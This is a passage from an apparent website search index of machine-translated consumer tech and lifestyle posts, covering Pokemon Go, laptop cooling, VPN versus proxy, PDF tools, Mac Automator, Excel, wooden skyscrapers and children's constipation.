than!\nncG1vNJzZmismaXArq3KnmWcp51kgm66zq2cZqafqXq1u4ybnGalmajAprCMraZmm5ikvLSxjJpkm52RqsGqstSlZKudlqe2qLHRmquoql2bvLN506GcZqOZqbCpsc0%3D\n","link":"/post/5-note-not-to-be-missed-to-choose-a-beautiful-refrigerator-for-the-kitchen/","section":"post","tags":null,"title":"5 Note not to be missed to choose a beautiful refrigerator for the kitchen"},{"body":"These days, when going out, you will easily see that people are constantly \"glued\" to the phone, hands are constantly touching the screen, occasionally looking up and again going in a certain direction . They are willing to go down the road, cross the bridge, cross the river, go to the gym, go to shops, cafes, even go to the dirtiest places to do something. In addition, not only young people, middle and high school students, older people do the same.\nExplain this, it's all Pokemon Go !\nSome argue that the appearance of Pokemon Go has led to a lot of bad things. People go out on the streets like dead bodies walking on the road and ready to . go despite the danger ahead. At the same time, the risk of accidents also increased rapidly like bumping into obstacles, crashing into cars, motorbikes parked on roads, potholes, deep holes or risks of stolen bags. While the list of harms caused by Pokemon Go is still \"long\", many people believe that this virtual reality game is also very beneficial for health. Here are 5 benefits that you can easily see.\n1. Walk a lot Many studies show that exposure to the natural environment is very beneficial for human health, especially mentally. And it is not difficult to say that Pokemon Go is a great way to do this, especially for those who are lazy to go out and are forced to change their habits if they want to become an excellent \"hunter\" Pokemon. .\n  In addition to having to go out to catch Pokemin, when owning an egg, usually at Pokestop, you will have to put eggs in an incubator and wait until it expands. However, the waiting period is not short. The first eggs will require you to walk about 2km or 5km (tracked based on GPS or pedometer) until it is completed and you can only walk (cannot drive unless you go very slowly).\nObviously, walking while playing games will make you more interested than just sitting in one place!\n2. Enjoy the fresh air and sunshine It may sound unbelievable, but a series of studies confirms going out and breathing outdoors - as long as the fresh air - improves mood and health very well. In particular, absorbing with sunlight also helps you supplement vitamin D to the body, avoiding the phenomenon of vitamin D deficiency causing bad effects on the activity of muscles, heart, lungs and brain function.\nHowever, Pokemon Go players should also be aware that when going out, apply sunscreen, wear sunglasses and other sunscreen to protect your body when the sun is too intense. Health experts insist that in the summer, we should only be exposed to the sun for a short period of 10 - 15 minutes.\n  3. Pokemon Go is educational To catch Pokemon, you must use Pokeball (a type of ball indispensable in the process of hunting Pokemon of gamers) and you will get it when going to Pokestop. Pokestop is the point Pokemon will appear, which can be cafes, gyms, high-rise buildings, residential areas, even \"mysterious\" areas right next to your neighbors.\nAccording to Mark Smith, a Pokemon Go player from Peoria, he found it very interesting to play the game and learned a few places that he had never been to before and didn't know yet. He lived mainly in Peoria and just saw firsthand the Abraham Lincoln bust and set foot on the Rotary club in the region last weekend. \"I am very excited to discover these wonderful things and I love Pokemon Go even more,\" Mark said.\n4. Pokemon Go helps people get closer   I have lived in Peoria for about 4 years now. I have never seen many people go out together, go to the park and talk so much together. Once again, technology has made people far apart but with Pokemon Go I feel the opposite. We meet, share information about rare Pokemon, how to catch them, how to hatch eggs and many other interesting things.\n5. Pokemon Go helps relieve stress Short breaks during working hours are very beneficial. They help prevent boredom, improve concentration, work productivity and give you more time to realize what you are doing, and also shape the next important task to be addressed.\nSurfing Facebook, Twitter, reading news or playing IQ is much more time consuming than you think. However, playing Pokemon Go is different. You can catch one or two children, then return to work. For example, last week, I went to a Pokestop and spent 5 hours continuously writing a story. After that, I took 15 - 20 minutes to collect some goods, then hunted Pokemon near my position. The great thing is that I was able to walk again, not sitting in a game room like before.\nSee more:\nSummary - How to play Pokemon GO, virtual reality game catch Pokemon on smartphone Maximum number of Pokémon in Pokémon GO How to play Pokemon GO on Windows computers ncG1vNJzZmismaXArq3KnmWcp51kgm7BzZ2cp6GRl7mmecGepZ6emanAbsPHnqVmqJyWxqq6xmanqKOVoryvecao\n","link":"/post/5-undeniable-benefits-when-playing-pokemon-go/","section":"post","tags":null,"title":"5 undeniable benefits when playing Pokemon Go"},{"body":"Hot laptop conditions are not uncommon, especially summer days become extreme with high-performance computers. Restricting the condition of the heater will avoid chip failure, CPU damage, partially extending the life of the laptop.\nIn the following article, we will show you how to cool your computer, which can be used to cool your laptop, desktop cooling is quite effective. They are extremely simple, effective and do not affect computers. If your computer, your laptop is hot, check it out right away.\nHow to effectively dissipate laptop heat Change settings on Windows to cool your computer Enable self-cooling Save power for CPU, graphics, wireless cards, .  Keep the laptop on a table or in a well-ventilated place Clean cooling fan and heat sink slot Thermal grease Use heat sinks for laptops Check the software running on the laptop Intervention from BIOS Change the fan speed Other laptop cooling tips Change settings on Windows to cool your computer First you need to access Windows Power Manager to edit settings and follow these instructions:\nStep 1: Activate the battery icon under the toolbar and select Power Options .\nStep 2: Select Change plan settings .\nStep 3: Continue to choose Change advanced power settings to edit settings.\nHere you can proceed to change the following settings:\nEnable self-cooling Always make sure your computer has activated the highest cooling level, keeping the fan fan strong and longer. Depending on some computers, the various activation options menu, such as \"active cooling\", \"maximum performance \"or\" maximum battery life \".\n  Save power for CPU, graphics, wireless cards, . It is understandable that the more power the computer consumes, the hotter it will be. So why not try to activate some options on your computer in low battery mode to reduce the heat during use.\nWireless Adapter Settings : Maximum Power Saving Link State Power Management : Maximum power savings Graphics Power Plan : Maximum Battery life or the equivalent, option to use computer graphics card to use PCI Express selects Link State Power Management : Maximum power savings Processor power management select Maximum processor state : set 30% mode. You need to consider when editing this setting because it will significantly reduce CPU performance.   Keep the laptop on a table or in a well-ventilated place The vents are located on the underside of the computer, absolutely do not let the laptop on the thighs avoid obstructing the work of the vents. Or leave your computer in areas where the fabric surface is also causing the computer to heat up quickly. It is best to leave the computer on your desk and create plenty of space around it.\nIn the winter, you usually place your laptop on a cushion, which not only prevents the laptop from draining heat, but also causes the cotton, fabric fibers to get caught up in the slot, the fan radiator. Buy a laptop table, dedicated laptop rack if you need to work on the bed.\nClean cooling fan and heat sink slot Fans play a very important role in cooling laptops. Therefore, you should check the fan regularly to see if it is dusty, causing it to jam or reduce the rotation speed. Checking the cooling fan on the laptop is more complicated on the PC because the fan is usually installed deep inside the machine. You can remove the laptop stand for quick inspection, if dust is detected, you can use a dedicated cleaning kit to clean. If you do not dare to do this yourself, it is recommended that you bring your laptop to clean periodically, once every 1-2 years (depending on the laptop environment, if too much dust, cleaning the computer should be proceed more often).\nAlso, pay attention to the radiator slots, usually located next to the laptop, you should limit to prevent the barrier of these slots to help the air circulation process unimpeded. This is one of the things you should not do when using a computer, so be careful. There are a number of series of radiator slots at the bottom, in this case you should use the heat sink to make the heat dissipation process better.\nThermal grease In the process of cleaning your laptop, look for more heat sink glue. Heat sink has a very important role in laptop cooling system. If you do not know much about thermal glue, please refer to the article about thermal glue on TipsMake.com as well as instructions for using very good heat dissipation glue.\nUse heat sinks for laptops As mentioned, some laptops have heat sinks on the bottom, if they are listed on a regular wooden table, the heat dissipation efficiency will not be high. If you use a heat sink, it will create space between the desk and the bottom of the laptop, making the air flow better and thereby reducing the heat for the laptop.\nCheck the software running on the laptop If the hardware issues are objectively met, but the laptop is still hot, think about the software problem. Sometimes due to two conflicting software, the software crashed, hung, consumed a lot of resources, causing the laptop to heat up. Open Task Manager, check once, which software is consuming too much RAM, the CPU will turn off or at least restart it.\nAnother possibility is that the laptop has been infected with a virus. These viruses use too much of the machine's resources, also causing the machine to heat up. Please use antivirus software to check it.\nIntervention from BIOS Some dedicated laptops support reducing the pulse right in the laptop's BIOS to cool the chip, Intel also has the technology to adjust clock speeds according to the need to keep the machine running cool and less power-hungry such as Dynamic Acceleration Technology (DAT), Enhanced Intel SpeedStep Technology (EIST) or Intel Turbo Boost, AMD also has similar solutions.\n  However, there are almost no customizations in the BIOS of laptops, most of them are set up automatically and are less likely to be manually intervened in the BIOS, except for some specially designed models.\nAdvantages: The point of this method is the built-in CPU and the driver is completely automated, so we do not need manual intervention.\nDisadvantages: This technology is only available on certain CPUs, but it doesn't always work as well as the manufacturer's winged marketing words.\nChange the fan speed The final solution is to change the fan speed settings on the laptop. If you need to use this way, please refer to the computer fan speed control guide of TipsMake.com.\nOther laptop cooling tips When you have fully charged the battery or do not have a need to use it, you should unplug the battery charger from the computer, which is a way to limit the heater.\nUsing a computer in low-temperature environments or using air conditioning is also a way to make your beloved laptop not get too much heat.\nIf you use all of the tips on your laptop that are still too hot, think about bringing it under warranty to check if other hardware devices are in trouble, do not immerse it in a good basin. Apply ice to cool.\nRefer to the following article:\n9 simple and cheap ways to upgrade your computer What to do when the computer is inactive How to fix a computer or hang I wish you all success!\n\u0026gt;\u0026gt; 13 ways to protect laptops that everyone needs to know\nncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYrCwu8tmm6ivnmKwsLvLZqOaqKSkvW6%2BwJ2gmqyfp3q0tcypo55lkaOxbrHFn5ycrJmrsg%3D%3D\n","link":"/post/5-ways-to-cool-down-cool-laptop-radiator-simple-and-effective/","section":"post","tags":null,"title":"5 ways to cool down, cool, laptop radiator simple and effective"},{"body":"When we learn about network connections that help us hide information on the Internet, we will often confuse VPN and Proxy. Although they also have similarities, they are fundamentally different and they are used for different purposes. Let's learn about the difference between VPN and Proxy in this article.\n  1. What is a proxy?   Proxy, also known as Proxy server, refers to the intermediary data exchange between the device you are using to access the Internet and the Web site you are using. The way Proxy works is very simple, you will choose an intermediate Proxy Server and access the Web site, the intermediate Proxy server will take you to that website. Proxy Server will use algorithms to analyze the data of the Web page you want to open, then they will download its content to the Proxy Server to show you that Web page.\nBecause of having to download content to the Proxy Server, you will find that using the Proxy is relatively slower than accessing that Web site directly. Using a Proxy Server to mediate Web access helps you to impersonate the access location, access the Web site with a virtual location, hide the IP.\nFor example: You are in Vietnam and there are some Web sites that only support Internet addresses in the US. Thus, we will have to use a Proxy Server in the US to access them, the Proxy Server in the US will have the task of fooling that Web site into thinking that we are accessing the US Internet, not the Vietnamese Internet.\nMany people choose to use a Proxy Server because they do not have to connect directly to the Web (intermediate through the Proxy Server). Not connecting directly to the Web site prevents them from exposing their IP address because the Web site accepts the Proxy Server's IP address as the access IP address.\nProxy's network access speed is usually determined by Proxy Server systems. If the Proxy provider places many Proxy Servers in your area, it will mean fast access speed and vice versa.\n  Although accessing by Proxy is very safe, today some Web sites have been updated with Proxy detection technology, so it is normal for your IP address to be exposed.\nIn short, Proxy is an intermediate network protocol, they are responsible for transmitting data to and from computers connected to the Internet and Websites.\n2. What is a VPN? In essence, VPNs also work like proxies because they are both an intermediary network connection between an Internet user and a Web site. The user's data will go through a server system, they will go from that server to the Web site and receive feedback data for you. However, the biggest difference between Proxy and VPN is that VPN encrypts user's data (when sending data) to increase security.\n  Using a VPN, you must use a software provided by the developer to encrypt your data when sending. This encrypted data makes Web pages unrecognizable and completely safe when accessing dangerous Web sites.\nIt is because of the 'twisting' in such a connection that makes VPN products quite expensive to use. But in return we will have a safe network connection, avoiding Hackers, revealing personal information.\n3. Difference between VPN and Proxy Thus, in essence, Proxy and VPN are similar when they do not bring the user's data to the Web site directly, but they will use an intermediary system to protect.\nProxy has a simpler protocol, less security when the data is not encrypted, and Web sites can detect the original IP address (yours) by algorithms and technology. Proxy will be suitable for basic users who want to create a virtual location to access exclusive Web content for the region, hide IP.\n  VPNs have a more complex network connection protocol as all data sent is encrypted before reaching intermediate systems. Because of encryption, Web sites will have to give up because they cannot exploit the data of the original visitor (ie you). However, we will have to pay a not cheap price to use this data security service. Most VPNs are often used by businesses and companies with large online transactions on the network for maximum protection.\nIn this article, Tipsmake has shown you the difference between Proxy and VPN. Wish you choose the right service for yourself!\nncG1vNJzZmismaXArq3KnmWcp51ksaqyxZ6pnqaTmnqjsdOwnJ6mXau9r3nAp5tmqKKkxbo%3D\n","link":"/post/difference-between-vpn-and-proxy/","section":"post","tags":null,"title":"Difference between VPN and Proxy"},{"body":"Leawo PowerPoint to Video Pro is a software that converts PowerPoint files into many different formats of computers and phones, making it easier for you to present slides without a computer or phone. By default, you can also convert PowerPoint files to videos with the built-in feature, but only in mp4 format.\nHowever, Leawo PowerPoint to Video Pro software supports converting more video formats, such as AVI, MP4, FLV, 3GP, MOV, MPEG, WMV, VOB, MP3, AAC, M4A . The software costs 45USD / 1 year, but currently has a summer promotion program that lasts until July 15, with a one-year software license. The following article will guide you how to download Leawo PowerPoint to Video Pro software for 1 year for free.\nInstructions for downloading Leawo PowerPoint to Video Pro Step 1:\nFirst, visit the link below and you will see the free download program PowerPoint to Video Pro - 2020 Summer Giveaway. We enter the name and email address and click Get it now to register.\nhttps://www.leawo.org/promotion/special-offer/   Step 2:\nThen we were moved to a new interface with the registration code to use the software when installing . Or if you do not see this interface, you access in the registration email.\nThen click Start to Review Leawo PowerPoint to Video Pro Now! to download the software.\n  Step 3:\nWe install as usual. Then in the installation interface, enter the software registration code you received.\n  Finally, you will be using the Pro version of PowerPoint to Video Pro.\n  ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdobKiw85mp6ivlae9sLXNrWStp12rtqWxzmanq6ddqLynwNaaqZ5lmah6p77Eng%3D%3D\n","link":"/post/download-leawo-powerpoint-to-video-pro-software-is-free/","section":"post","tags":null,"title":"Download Leawo PowerPoint to Video Pro software is free"},{"body":"Signs that a child is constipated Constipation is a common digestive disorder in children. Causes of constipation are diverse, but mainly functional causes account for 90-95%. Functional constipation is a state of constipation when the physical causes of anatomy and biochemistry have been excluded, leaving only the gastrointestinal tract function incomplete.\n  According to the ROME III criteria, functional constipation is defined as having at least 2 of the following 6 criteria:\n- Going outside ≤ 2 times / week.\n- Fecal incontinence at least 1 time / week after knowing how to go to the toilet.\n- History of involuntary defecation or excessive fecal retention.\nHistory of hard or painful stools.\n- There is a large stool in the rectum.\n- History of large-sized mold segmentation.\nIn children younger than 4 years, these symptoms usually last for at least a month. For children older than 4 years, symptoms persist for at least 2 months and do not meet the diagnostic criteria for irritable bowel syndrome.\nCauses of Constipation - Causes and risk factors for functional constipation: Children have not yet perfected the mechanism of excreting stools.\n- Due to diet: lack of fiber, eating too much protein, allergic to milk, drinking less water.\n- Due to psychological - educational factors: psychological stress, living conditions - hygiene.\n- Due to rickets, due to the use of drugs such as antibiotics .\n- At the beginning of school age, children use the toilet by themselves, afraid of going outside, afraid of not asking permission from the teacher, leading to abstaining from going out.\nSymptoms of Constipation - Reduce the number of bowel movements and the difficulty of defecation.\n- Fecal incontinence, large stool size, pain when passing stools.\n- Straining during bowel movements, abdominal pain, loss of appetite, vomiting and rectal bleeding.\nProlonged constipation can affect children's psychological, physical development and quality of life\nNutritional care for children with constipation like? Nutrition plays an important role in recovery and helps children prevent prolonged constipation. Diet for children with constipation is as follows:\n- Ensure adequate nutritional needs according to age.\n- Pay attention to enough fiber from green vegetables and fiber-rich fruits, foods with laxative properties such as jute vegetables, spinach, amaranth, sweet potato, sweet potato, papaya, bar long, banana, orange, grapefruit, tangerine . Eat just enough meat. Limit eating carrots, guava, sapodilla.\n  In fact, carrots are a type of vegetable when cooking for sweetness, so they are often used by mothers when cooking porridge. However, carrots are rich in fiber but mostly insoluble fiber, so eating a lot can cause constipation.\n  As for guava and sapodilla, or sweet persimmons are rich in tannins, so when eaten soft and sweet, but eating a lot can cause constipation.\n- Pay attention to the child to drink enough water when the child is constipated. Amount of water children need in 1 day:\nChildren from 1kg to 10kg, the need for water is 100ml/kg.\nChildren from 11kg to 20kg, the water requirement is 1000ml/day and add 50ml/kg for every 10kg of growth in children.\nChildren from 21kg or more, the way to calculate water needs is 1500ml/day and add 20ml/kg for every 20kg of the child's growth weight.\nRole of probiotics in the treatment of constipation Probiotics are used in the treatment of constipation based on research demonstrating differences in the gut microbiota between healthy and chronically constipated individuals. In patients with chronic constipation, the intestinal microbial balance is disrupted with an increase in Clostridium and Enterobacteria and a decrease in the number of beneficial bacteria such as Bifidobacteria and Lactobacillus acidophilus, and Bifidobacterium reduces transmission. complex electromyography and accelerate the transit time in the small intestine.\nProbiotics lower the pH of the intestinal tract by producing lactic acid, acetic acid, and other acids. Low pH increases intestinal motility and reduces colonic transit time. Short chain fatty acids (SCFAs) are major metabolic products derived from the fermentative activities of the gut microbiota. These short-chain fatty acids have a direct effect on intestinal motility and increase intestinal motility.\nStudies have proven that supplementing with Protexin, including probiotics: L.acidophilus, L.casei, L.rhamnosus, B.infantis, L.bulgaricus) increases the number of bowel movements per week, reduces fecal incontinence and pain. belly . The number of bowel movements was significantly improved in children receiving L. rhamnosus.\nFermented foods are a good source of probiotics in a child's diet. It is a product rich in beneficial bacteria from milk such as yogurt, cheese, and other fermented foods such as kefir, fermented soybeans (Miso, tempeh). There are also additional products that are probiotics, which should be used under the guidance of medical staff.\nFunctional constipation, if not properly monitored and treated, can persist for a long time and seriously affect children's psychological, physical development and quality of life. Therefore, parents need to pay attention to monitor the digestive status of their children to help them have a healthy digestive system, absorb nutrients well for the body to develop.\nncG1vNJzZmismaXArq3KnmWcp51ks7PByK2qZpmemXq3scaeq5qanJrAbq%2FHoqOdqpWjerS0zq6jnWWcnrqqwIytpmaZpqS2pXnToZxmqpmouG67xWaaqKajqbaxrdOipqc%3D\n","link":"/post/fruits-and-vegetables-children-should-limit-to-avoid-the-risk-of-constipation/","section":"post","tags":null,"title":"Fruits and vegetables children should limit to avoid the risk of constipation"},{"body":"PDF files have typical features such as high security, simple printing, small file size and easy sharing on the Internet. However, some PDF files are very difficult to separate and you wonder because you do not know how? Let's refer to the article below!\n  Method 1: Split images in PDF files online To separate images in PDF files, visit the following website and follow the instructions below.\nhttps://pdftoimage.com/\nStep 1: In the main interface of the website, click Upload Files and open the PDF file to split the image on your computer.\n  Step 2: After uploading the PDF to Image, the websites will automatically convert into image files for you, click Download  (1) to download. Then we click on the download file (2) to open and extract it.\n  Step 3: You extract to a new folder and choose the photos you like in it to open and use them according to your purpose.\n  Method 2: Use Photoshop software Step 1: Right-click on the PDF file and select Open with =\u0026gt; Adobe Photoshop CC 2019 .\n  Step 2: We switch to the Images tab , select the photos you want and click OK to open.\n  Step 3: After opening the image successfully, we save the image to another folder by pressing Ctrl + Shift + Save or go to File menu \u0026gt; Save As .\n  Step 4: You choose where to save the file (1) , in the File name  (2) section, we name the image. Save as type , we choose the image file format (the recommended format is JPG, PNG). Then click Save to save.\n  Then you open the image if the image is good and the image is not successful.\n  Method 3: Use software PkPdfConverter Visit the following website and download PkPdfConverter here. You unzip and open the software up.\nhttps://sourceforge.net/projects/pkpdfconverter/\nStep 1: Section PDF Source File, we open up the source PDF file (1) . In Choose Output , Choose conversion we choose PDF =\u0026gt; Images  (2) . Choose where to export the image file (3) and click Convert  (4) .\n  After separating the image file from the PDF file, we can preview the image file in the View Output section .\n  Step 2: Open the extracted folder and check the saved photos if there is no problem.\n  Split images, cut images in PDF files is simple and easy is not it. Through this article, hope we can easily split and cut your favorite images from PDF files. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqXqiusNmqqmkmal6qrnAoJysZZmjerGwxWadoqSVqHq0tcypo7JlkaOxbrHArKClsQ%3D%3D\n","link":"/post/how-to-cut-and-split-images-in-pdf-files-simply-and-easily/","section":"post","tags":null,"title":"How to cut and split images in PDF files simply and easily"},{"body":"Usually to handle PDF files such as converting PDF files to Word or converting from Word to PDF, setting passwords for PDF files, etc. on Windows operating systems, we will often have to use good tools. Online support service. However, if you want to merge PDF files into a single PDF file on Mac OS X, the operation will be simpler.\nYou won't need to use any other software or support, but we just need to do a few simple tasks right on the machine to create a complete PDF file from multiple PDF files. Join the Network Administrator to learn how to include PDF files on the Mac in the tutorial below.\nStep 1: First, open Terminal and type the following command for OSX to install the Python module:\nsudo easy_install PyPDF2\nStep 2: Next, open Automator (Applications\u0026gt; Utilities) and select Service .\n  Step 3: In the new interface, we will select the Files or folders and Finder.app items in the drop down menu at the top of the window.\n  Step 4: Then, find the Get finder keyword and drag the Get selected Finder item from the left pane to the right.\n  Step 5: We will search with the Script keyword, drag and drop the Run Shell Script item. Then, drag down the menu and select / usr / bin / python in Shell: and select as arguments at the Pass input: section .\n  Step 6: Copy the script in this link and paste in the Run Shell Script box as shown below.\n  As a final step, save the Merge PDFs name and it will appear in the menu when the user right-clicks in the Finder.\nStep 7: The reader will select two or more PDF files to merge, right-click and select Merge PDFs to automatically merge into a single PDF file.\n  Thus, we have completed the process of merging PDF files into a PDF file on a Mac. Once installed once, users can fully merge multiple PDF files into one PDF file on Mac OS X, just by opening the right-click menu.\nRefer to the following articles: 220 shortcut keys on Excel for Windows and Mac OS Find the router's IP address in Mac OS X 20 convenient shortcuts when using Mac OS X I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWVp7Smecyuo62hoKGybrzDn2SfoZyawG61za2mZqeemnqxsMVmnaKklWK2r3nMmppmp6NixQ%3D%3D\n","link":"/post/how-to-merge-multiple-pdf-files-into-one-pdf-file-in-mac-os-x/","section":"post","tags":null,"title":"How to merge multiple PDF files into one PDF file in Mac OS X"},{"body":"Apple's Photo Apps application is integrated to act as a bridge between Mac OS X and iCloud. If you are using Apple devices, you can easily sync files and images between Mac and iPhone or iPad.\nGoogle Drive is a cloud storage and synchronization service. This is where you can back up photos, videos, important documents to access when needed.\nGoogle Drive allows you to store and synchronize images, videos and files between computers, tablets and mobile devices. You can access Google Drive on any computer or mobile device with an Internet connection.\n1. How to share photos from the OS X Photo App application to OneDrive Export photos from the OS X Photos App application to OneDrive: To export photos from OX X Photos App to OneDrive, first download the OneDrive client to Mac and install.\nDownload Onedriver to Mac and install it here. Launch the Photo app from Dock or press Command + Space then enter Photos and press Enter .\nSelect any image you want to move into OneDrive and then click File\u0026gt; Export\u0026gt; Export Unmodified Original for Photos.\n  \nThen click Export .\n  Find the OneDrive folder then click on Export originals.\n  \n2. Automatically export photos using the operating system X Automator Start Finder, then open the Pic tures Folder folder, right-click the Photos Library file then click Show Package Contents .\nRight-click the Masters folder then select a color for the folder.\n  Launch Automator application:\nPress the key combination Command + Space , then enter the keyword Automator and press Enter.\nUnder Library, select File \u0026amp; Folders and drag Find Finder Items to the Workflow window.\nIn the Search list box, select Macintosh HD and then follow the steps shown in the screenshot below.\nNext you drag the C opy Finder Items into the Windows window. Click on To: then select Onedrive .\n  Then specify to search for any directory that you have chosen colors, in this case include the Masters folder.\nThen copy the files and folders to OneDrive.\nFinally click Run to begin the process of copying the entire Masters folder to OneDrive.\n  Save the Workflow when you're done to make the next time.\nYou can refer to some of the following articles:  How to move photos from Picasa to Google Drive   How to transfer archived data from OneDrive to another drive   How to double OneDrive's free storage   5 ways to share files and folders from OneDrive in Windows 10  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2Bmec%2Bhpq2no2Kzs7vMZquhnV2kwG7EjKmfqKyfYq6xvMuimpqsmaS7bsDOZqannZSntrex\n","link":"/post/how-to-share-photos-from-the-os-x-photo-application-to-onedrive/","section":"post","tags":null,"title":"How to share photos from the OS X Photo application to OneDrive"},{"body":"Instructions on how to temporarily hide and make appear again in one or more rows / columns in the Microsoft Excel 2013 spreadsheet.\nExcel 2013 has a feature that allows temporary users to hide one or more rows / columns in an Excel spreadsheet. This feature is very useful in case you only want to print a part of the spreadsheet but do not want to delete other excess rows and columns.\nNote: Cells in hidden rows and columns are still included in the table calculations.\nHide one or more rows Select the rows you want to hide.\n  Right-click on one of the selected row titles, select 'Hide' from the menu (menu) that appears.\n  The selected rows will be pressed, including the row title.\nNote that rows 3 and 4 in the picture below are hidden. Separating between rows 2 and 5 (where hidden rows are located) is a bold line. When you perform other operations on the spreadsheet, this bold line will disappear. However, you can identify locations of hidden rows by viewing which row titles are missing.\n  To reappear a row, you must select the row above and the row below the hidden rows. In this case, row 2 and row 5. Then right-click on the title of the selected row, press 'Unhide' from the menu that appears.\n  Hidden rows will reappear and be marked with the surrounding rows.\n  Hide one or more columns You can also easily hide one or more columns. Select the columns you want to hide, right-click one of the column headers, select 'Hide' from the menu that appears.\n  The selected columns will disappear with the column header. The position of the pressed column is marked with a bold line.\n  To reappear hidden columns, like with hidden rows, select the columns on the left and right of the hidden columns, right-click one of the column headers, select 'Unhide' from the menu appear.\n  Hidden columns will reappear and be marked with the columns on the left and right of it.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyVor2wvsCroKWxXZ22pbGMq6awq12Wu6V5wqijrqWeqHqquoyer5ydnGJ%2FcX2S\n","link":"/post/how-to-temporarily-hide-rows-and-columns-in-excel-2013/","section":"post","tags":null,"title":"How to temporarily hide rows and columns in Excel 2013"},{"body":"A new project promises to turn Chicago from the city of metal and concrete into a city of skyscrapers made of wood.\nNew York engineers design high-rise buildings \"falling from the sky\" The fastest elevator in the world \"non\" with a speed of 1,260m / min Chicago is famous for being a city of metal and concrete. In 1956, John HanCook center, built in Chicago, cost about 5 million pounds of aluminum, enough metal to produce 96 tourist buses. Five years later, the 1400-foot-tall Sears Tower skyscraper was built with 176 million pounds of steel.\n  Model of a 80-storey rotary-shaped building of the River Beech built entirely of oak.\nA research project between Cambridge University, Perkins + Will architects and engineers at Thornton Tomasetti plans to design a new high-rise architecture built entirely of wood. The architects came up with the idea of ​​building an 80-storey fully-shaped, oak-shaped building called River Beech.\n  River Beech is built from two towers connected to each other through the gates.\nThe ambition to build completely wooden skyscrapers existed several years ago. In London, designers have proposed plans for a wooden skyscraper called Oakwood Tower. In Stockholm, plans to build a skyscraper high-rise building in the city with a height of 436 feet are also underway. A completely wooden baseball stadium is also under construction in the UK.\nHistorically, wood used to be a key construction material, but due to its flammability, the risk of causing great fires, it was gradually replaced by other materials such as steel and concrete. .\nHowever, pressed wood one of the new inventions in recent times makes the wood material attractive again. Pressed wood is a kind of hard wood made up of different pieces of wood glued. Combined with the precise automatic production process, this new material allows architects to build wooden buildings with unimaginable heights.\n Project of building a wooden building in the Netherlands by PLP Architecture.\n  In addition, the environmental properties also make the wood more attractive because the wood acts as a carbon dioxide lock box, isolating excess CO2 from the air.\nCurrently, the world's tallest wooden building is called Brock Commons, an 18-storey dormitory located in Vancouver. The building looks like any other high rise steel or concrete building and will be completed in the next few weeks. The foundation is built from identical wooden modules that look like oversized Lego games.\n  The 7-storey building is built of T3 wood.\n  Dorm Brock Commons.\n  The interior of Brock Commons building is also made entirely of wood.\nBrock Commons Building is a testament to the use of wood in building relatively high buildings over a fast and economically feasible period.\n  Project of building a 80-storey wooden building.\n  Oakwood Tower skyscraper in London looks from afar.\n  A 436-foot wooden building plan in Stockholm.\nWood is both light and durable, not as hard as steel or concrete, so wood can create more friendly structures in the future.\nncG1vNJzZmismaXArq3KnmWcp51ktq9506GcZp6lqcKzsYywpqicXZ7AbsDHnmSoppyueq6t056popmcYsGwecGuoKWcXai4ur%2FCq5ipnaKoeq%2B702aaqKaTp7K1sYyoqWarpJqyrQ%3D%3D\n","link":"/post/in-the-future-wood-is-the-only-material-to-build-skyscrapers-not-concrete-or-steel/","section":"post","tags":null,"title":"In the future, Wood is the only material to build skyscrapers, not concrete or steel"},{"body":"Or the most impressive point in the design of LG X110 is the wide-reaching keyboard and support for mobile SIM slot for 3G connectivity.\n  LG Netbook X110 is equipped with the same configuration as other netbook models, 1.6 GHz Intel Atom N270 processor, 1 GB RAM. 160 GB hard drive. It has a nice design with a pink exterior, 10-inch screen, a large keyboard and trackpad. This model integrates webcam, 3 USB ports, SD card slot next to Wi-Fi connection.\n  Large keyboard with key presses to the edge.\n  On the left side, there are clearly two USB ports, air vents to reduce heat for the Atom N270 processor.\n  Meanwhile, the right side is the SD card slot, adding a USB port, headphone jack, next to the D-Sub video and Ethernet output ports.\n  3G SIM slot is located under the battery.\nncG1vNJzZmismaXArq3KnmWcp51kuai%2FjKecrZqfpLhuw8itn2Zrl2KwsLrNnpqtoZ%2Bj\n","link":"/post/lg-s-netbook-with-3g-connection/","section":"post","tags":null,"title":"LG's netbook with 3G connection"},{"body":"After a month of testing, Opera officially launched its new version of the web browser yesterday, for both Windows and OS X.\n  The new Opera browser is based on Chromium in place of the old Presto engine, promising to speed up operations and open web pages. In addition, Opera Turbo now has a new name called Off-road and the email manager previously built into the browser has also been separated into a separate software.\nDownload Opera Next for Windows.\nOpera said the new version was rebuilt from scratch, not upgraded from older versions.Specifically:\nSpeed ​​Dial improved\nSpeed ​​Dial is Opera's default homepage that uses the shortcut of websites you visit. In the new version, you can gather multiple websites into one folder for easy management as well as add a search box to filter out the websites you need.\nDiscover: follow the latest news\nThis is a new feature that lists the hottest news from famous news sites around the world. You can optionally filter news by country and topic, such as technology news, science, health .\nStash: just like Bookmark\nOpera Next no longer manages Bookmark in the old way, but instead usesSpeed ​​Dial and Stash to store web pages you save. When you encounter a good website that you want to save, you can click on the heart icon at the end of the toolbar, the site will be saved in the Stash section of Opera. In Stash you can also search and change their display size for easy viewing. Change the new engine Chromium, Off-Road instead of Turbo, separate the email from the browser\nOpera Next no longer uses the old Presto engine, but it also switched to Chromium, which is the same engine with the famous Chrome browser, which speeds up operations and opens the website. In addition, Opera Turbo now has a new name called Off-road and the email manager previously built into the browser has also been separated into a separate software.\nncG1vNJzZmismaXArq3KnmWcp51kvLGx0ZpksJmjYrynssicoJqknK56ra3Up5qhnZRiwLi105yfoqaXYsGwecKhqailmaq6brHNoKCnnQ%3D%3D\n","link":"/post/opera-was-officially-launched-switching-to-chromium-engine/","section":"post","tags":null,"title":"Opera was officially launched, switching to Chromium engine"},{"body":"The new Force Touch trackpad from Apple allows the machine to distinguish light press and emphasis, from which we can interact with the machine with different commands when pressed on the table. In this article, I would like to present our strong and light click behavior as well as the basic values ​​that it brings. Brothers are using Macbook equipped with Force Touch trackpad should consult to use the machine more effectively. Pressing lightly will be like clicking on the button we still do and emphasizing it will be called Force click.\n[Infographic] Breakthrough designs in 12-inch Macbook Force click : is a stronger click behavior than click ( click ) behavior as we do. On force touch trackpad, when force click, we will get 2 light and heavy feedback from the table. We can click anywhere on the table and not just click on the left and right corners like the old table. And what Force click does, please list below:\nRename files or folders : Force click on the name of the folder or 